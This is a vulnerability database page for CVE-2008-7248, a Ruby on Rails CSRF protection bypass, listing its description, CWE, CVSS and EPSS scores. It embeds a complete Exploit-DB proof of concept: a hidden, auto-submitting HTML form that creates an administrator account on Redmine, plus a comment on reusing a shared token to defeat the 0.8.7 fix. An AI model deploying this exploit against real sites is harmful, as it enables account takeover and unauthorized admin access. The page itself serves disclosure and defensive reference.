CVE-2008-7248

OWSAP

A03-Injection

EPSS

11.41%V4

Vector

Network

Published

2009-12-16
00h00 +00:00

Modified

2010-03-30
07h00 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

Ruby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify tokens for requests with certain content types, which allows remote attackers to bypass cross-site request forgery (CSRF) protection for requests to applications that rely on this protection, as demonstrated using text/plain.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	11%	–	–
2022-04-03	–	–	11%	–	–
2022-05-22	–	–	11%	–	–
2023-02-05	–	–	12.57%	–	–
2023-02-19	–	–	11%	–	–
2023-03-12	–	–	–	13.42%	–
2023-04-02	–	–	–	15.49%	–
2024-02-11	–	–	–	15.49%	–
2024-06-02	–	–	–	15.49%	–
2024-12-22	–	–	–	19.53%	–
2025-01-19	–	–	–	19.53%	–
2025-03-18	–	–	–	–	11.41%
2025-03-18	–	–	–	–	11.41,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	89%
2022-04-03	94%
2022-05-22	95%
2023-02-05	95%
2023-02-19	95%
2023-03-12	95%
2023-04-02	95%
2024-02-11	96%
2024-06-02	96%
2024-12-22	96%
2025-01-19	96%
2025-03-18	93%
2025-03-18	93%

Exploit information

Exploit Database EDB-ID : 33402

Publication date : 2009-12-13 23h00 +00:00
Author : p0deje
EDB Verified : Yes

source: https://www.securityfocus.com/bid/37322/info Ruby on Rails is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible. /** * Redmine <= 0.8.6 CSRF Add Admin User Exploit * Discovered by: p0deje (http://p0deje.blogspot.com) * Application: http://www.redmine.org/wiki/redmine/Download * SA: http://www.redmine.org/news/30 * Date: 13.11.2009 * Versions affected: <= 0.8.6 * Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights */ <html> <body> <form method=POST action="http://www.example.com/users/new"> <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/> <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/> <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/> <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/> <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" /> <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" /> <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/> <input style="display: none" type="hidden" value="1" name="user[admin]"/> <input style="display: none" type="submit" value="Create" id="commit" name="commit" /> </form> <script>document.getElementById("commit").click();</script> </body> </html> /** * P.S. Actually, this vulnerability wasn't fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users. * Thus, you can add POST data with token of any user and exploit will be working again */